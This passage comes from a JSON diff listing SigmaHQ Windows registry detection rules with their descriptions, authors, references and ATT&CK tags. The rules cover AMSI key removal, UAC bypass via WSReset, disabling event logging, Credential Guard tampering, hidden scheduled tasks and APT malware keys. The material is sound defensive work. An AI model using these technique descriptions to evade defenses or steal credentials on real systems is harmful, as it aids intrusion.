"registry_add_renamed_sysinternals_eula_accepted.yml", + "level": "high", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ] + }, + "uuid": "f50f3c09-557d-492d-81db-9064a8d4e211", + "value": "Usage of Renamed Sysinternals Tools" + }, + { + "description": "Detects the usage of Suspicious Sysinternals Tools such as PsExec, Procdump...etc via the \"accepteula\" key being added to Registry", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/24", + "falsepositive": [ + "Legitimate use of SysInternals tools" + ], + "filename": "registry_add_susp_sysinternals_eula_accepted.yml", + "level": "medium", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_susp_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ] + }, + "uuid": "c7da8edc-49ae-45a2-9e61-9fd860e4e73d", + "value": "Usage of Suspicious Sysinternals Tools" + }, + { + "description": "Detects the usage of Sysinternals Tools due to accepteula key being added to Registry", + "meta": { + "author": "Markus Neis", + "creation_date": "2017/08/28", + "falsepositive": [ + "Legitimate use of SysInternals tools", + "Programs that use the same Registry Key" + ], + "filename": "registry_add_sysinternals_eula_accepted.yml", + "level": "low", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ] + }, + "uuid": "25ffa65d-76d8-4da5-a832-3f2b0136e133", + "value": "Usage of Sysinternals Tools" + }, + { + "description": "A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_add_sysinternals_sdelete_registry_keys.yml", + "level": "medium", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/9", + "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "9841b233-8df8-4ad7-9133-b0b4402a9014", + "value": "Sysinternals SDelete Registry Keys" + }, + { + "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box […]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate new entry added by windows" + ], + "filename": "registry_set_disk_cleanup_handler_new_entry_persistence.yml", + "level": "medium", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/diskcleanuphandler.html", + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_set_disk_cleanup_handler_new_entry_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "d4f4e0be-cf12-439f-9e25-4e2cdcf7df5a", + "value": "Persistence Via Disk Cleanup Handler - NewEntry" + }, + { + "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. Which could indicate an attacker trying to launch an encryption process", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Legitimate administrators removing applications (should always be monitored)" + ], + "filename": "registry_delete_exploit_guard_protected_folders.yml", + "level": "high", + "logsource.category": "registry_delete", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "272e55a4-9e6b-4211-acb6-78f51f0b1b40", + "value": "Removal Of Folder From ProtectedFolders In Exploit Guard" + }, + { + "description": "Detects the deletion of registry keys containing the MSTSC connection history", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/10/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_delete_mstsc_history_cleared.yml", + "level": "high", + "logsource.category": "registry_delete", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer", + "http://woshub.com/how-to-clear-rdp-connections-history/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1112" + ] + }, + "uuid": "07bdd2f5-9c58-4f38-aec8-e101bb79ef8d", + "value": "Terminal Server Client Connection History Cleared" + }, + { + "description": "Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection", + "meta": { + "author": "frack113", + "creation_date": "2021/06/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_delete_removal_amsi_registry_key.yml", + "level": "high", + "logsource.category": "registry_delete", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://seclists.org/fulldisclosure/2020/Mar/45", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "41d1058a-aea7-4952-9293-29eaaf516465", + "value": "Removal Of Amsi Provider Reg Key" + }, + { + "description": "A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered" + ], + "filename": "registry_delete_removal_com_hijacking_registry_key.yml", + "level": "medium", + "logsource.category": "registry_delete", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/7", + "https://threathunterplaybook.com/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.html", + "https://docs.microsoft.com/en-us/windows/win32/shell/launch", + "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "96f697b0-b499-4e5d-9908-a67bec11cdb6", + "value": "Removal of Potential COM Hijacking Registry Keys" + }, + { + "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/26", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_delete_removal_index_value_scheduled_task_hide.yml", + "level": "medium", + "logsource.category": "registry_delete", + "logsource.product": "windows", + "refs": [ + "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_index_value_scheduled_task_hide.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "526cc8bc-1cdc-48ad-8b26-f19bff969cec", + "value": "Removal Of Index Value to Hide Schedule Task" + }, + { + "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware", + "meta": { + "author": "Sittikorn S", + "creation_date": "2022/04/15", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_delete_removal_sd_value_scheduled_task_hide.yml", + "level": "medium", + "logsource.category": "registry_delete", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_sd_value_scheduled_task_hide.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "acd74772-5f88-45c7-956b-6a7b36c294d2", + "value": "Removal Of SD Value to Hide Schedule Task" + }, + { + "description": "Sysmon registry detection of a local hidden user account.", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/05/03", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_add_local_hidden_user.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1387530414185664538", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ] + }, + "uuid": "460479f3-80b7-42da-9c43-2cc1d54dbccd", + "value": "Creation of a Local Hidden User Account by Registry" + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "meta": { + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2018/03/23", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_apt_chafer_mar18.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "7bdf2a7c-3acc-4091-9581-0a77dad1c5b5", + "value": "Chafer Activity" + }, + { + "description": "Detects registry key used by Leviathan APT in Malaysian focused campaign", + "meta": { + "author": "Aidan Bracher", + "creation_date": "2020/07/07", + "falsepositive": "No established falsepositives", + "filename": "registry_event_apt_leviathan.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_leviathan.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "70d43542-cd2d-483c-8f30-f16b436fd7db", + "value": "Leviathan Registry Key Activity" + }, + { + "description": "Detects registry keys created in OceanLotus (also known as APT32) attacks", + "meta": { + "author": "megan201296, Jonhnathan Ribeiro", + "creation_date": "2019/04/14", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_apt_oceanlotus_registry.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", + "https://github.com/eset/malware-ioc/tree/master/oceanlotus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "4ac5fc44-a601-4c06-955b-309df8c4e9d4", + "value": "OceanLotus Registry Activity" + }, + { + "description": "Detects Pandemic Windows Implant", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/06/01", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_apt_pandemic.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://wikileaks.org/vault7/#Pandemic", + "https://twitter.com/MalwareJake/status/870349480356454401", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105" + ] + }, + "uuid": "47e0852a-cf81-4494-a8e6-31864f8c86ed", + "value": "Pandemic Registry Key" + }, + { + "description": "Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", + "meta": { + "author": "oscd.community, Dmitry Uchakin", + "creation_date": "2020/10/07", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_bypass_via_wsreset.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "6ea3bf32-9680-422d-9f50-e90716b12a66", + "value": "UAC Bypass Via Wsreset" + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "meta": { + "author": "Nik Seetharaman", + "creation_date": "2018/07/16", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "filename": "registry_event_cmstp_execution_by_registry.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ] + }, + "uuid": "b6d235fc-1d38-4b12-adbe-325f06728f37", + "value": "CMSTP Execution Registry Event" + }, + { + "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", + "meta": { + "author": "Ilyas Ochkov, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_disable_security_events_logging_adding_reg_key_minint.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1182516740955226112", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ] + }, + "uuid": "919f2ef0-be2d-4a7a-b635-eb2b41fde044", + "value": "Disable Security Events Logging Adding Reg Key MiniNt" + }, + { + "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2019/08/25", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_disable_wdigest_credential_guard.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "1a2d6c47-75b0-45bd-b133-2c0be75349fd", + "value": "Wdigest CredGuard Registry Modification" + }, + { + "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/20", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_esentutl_volume_shadow_copy_service_keys.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "5aad0995-46ab-41bd-a9ff-724f41114971", + "value": "Esentutl Volume Shadow Copy Service Keys" + }, + { + "description": "Detects the use of Windows Credential Editor (WCE)", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/12/31", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_hack_wce_reg.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.ampliasecurity.com/research/windows-credentials-editor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0005" + ] + }, + "uuid": "a6b33c02-8305-488f-8585-03cb2a7763f2", + "value": "Windows Credential Editor Registry" + }, + { + "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2021/04/12", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_hybridconnectionmgr_svc_installation.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1608" + ] + }, + "uuid": "ac8866c7-ce44-46fd-8c17-b24acff96ca8", + "value": "HybridConnectionManager Service Installation" + }, + { + "description": "Detects the presence of a registry key created during Azorult execution", + "meta": { + "author": "Trent Liffick", + "creation_date": "2020/05/08", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_mal_azorult.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112" + ] + }, + "uuid": "f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7", + "value": "Registry Entries For Azorult Malware" + }, + { + "description": "Detects FlowCloud malware from threat group TA410.", + "meta": { + "author": "NVISO", + "creation_date": "2020/06/09", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_mal_flowcloud.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_flowcloud.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ] + }, + "uuid": "5118765f-6657-4ddb-a487-d7bd673abbf1", + "value": "FlowCloud Malware" + }, + { + "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", + "meta": { + "author": "Markus Neis, @markus_neis, Florian Roth", + "creation_date": "2021/07/04", + "falsepositive": [ + "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)" + ], + "filename": "registry_event_mimikatz_printernightmare.yml", + "level": "critical", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", + "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204", + "cve.2021.1675", + "cve.2021.34527" + ] + }, + "uuid": "ba6b9e43-1d45-4d3c-a504-1043a64c8469", + "value": "PrinterNightmare Mimimkatz Driver Name" + }, + { + "description": "Detects value modification of registry key containing path to binary used as screensaver.", + "meta": { + "author": "Bartlomiej Czyz @bczyz1, oscd.community", + "creation_date": "2020/10/11", + "falsepositive": [ + "Legitimate modification of screensaver" + ], + "filename": "registry_event_modify_screensaver_binary_path.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.002" + ] + }, + "uuid": "67a6c006-3fbe-46a7-9074-2ba3b82c3000", + "value": "Path To Screensaver Binary Modified" + }, + { + "description": "Detects abusing Windows 10 Narrator's Feedback-Hub", + "meta": { + "author": "Dmitriy Lifanov, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_narrator_feedback_persistance.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_narrator_feedback_persistance.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "f663a6d9-9d1b-49b8-b2b1-0637914d199a", + "value": "Narrator's Feedback-Hub Persistence" + }, + { + "description": "Detects NetNTLM downgrade attack", + "meta": { + "author": "Florian Roth, wagga", + "creation_date": "2018/03/20", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_net_ntlm_downgrade.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ] + }, + "uuid": "d67572a0-e2ec-45d6-b8db-c100d14b8ef2", + "value": "NetNTLM Downgrade Attack" + }, + { + "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n", + "meta": { + "author": "Ilyas Ochkov, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_new_dll_added_to_appcertdlls_registry_key.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", + "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.009" + ] + }, + "uuid": "6aa1d992-5925-4e9f-a49b-845e51d1de01", + "value": "New DLL Added to AppCertDlls Registry Key" + }, + { + "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", + "meta": { + "author": "Ilyas Ochkov, oscd.community, Tim Shelton", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.010" + ] + }, + "uuid": "4f84b697-c9ed-4420-8ab5-e09af5b2345d", + "value": "New DLL Added to AppInit_DLLs Registry Key" + }, + { + "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", + "meta": { + "author": "omkar72", + "creation_date": "2020/10/25", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_event_office_test_regadd.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1137/002/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.002" + ] + }, + "uuid": "3d27f6dd-1c74-4687-b4fa-ca849d128d1c", + "value": "Office Application Startup - Office Test" + }, + { + "description": "Detects persistence registry keys for Recycle Bin", + "meta": { + "author": "frack113", + "creation_date": "2021/11/18", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_persistence_recycle_bin.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ] + }, + "uuid": "277efb8f-60be-4f10-b4d3-037802f37167", + "value": "Registry Persistence Mechanisms in Recycle Bin" + }, + { + "description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.", + "meta": { + "author": "Andreas Hunkeler (@Karneades)", + "creation_date": "2021/06/22", + "falsepositive": [ + "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)", + "Synergy Software KVM (https://symless.com/synergy)" + ], + "filename": "registry_event_portproxy_registry_key.yml", + "level": "medium", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.dfirnotes.net/portproxy_detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "a54f842a-3713-4b45-8c84-5f136fdebd3c", + "value": "PortProxy Registry Key" + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "meta": { + "author": "Alexander Rausch", + "creation_date": "2020/06/24", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_redmimicry_winnti_reg.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "5b175490-b652-4b02-b1de-5b5b4083c5f8", + "value": "RedMimicry Winnti Playbook Registry Manipulation" + }, + { + "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", + "meta": { + "author": "omkar72", + "creation_date": "2020/10/30", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_event_runkey_winekey.yml", + "level": "high", + "logsource.category": "registry_event", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ] + }, + "uuid": "b98968aa-dbc0-4a9c-ac35-108363cbf8d5", + "value": "WINEKEY Registry Modification" + }, + { + "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", + "meta": { + "author": "Avneet Singh @v3t0_, 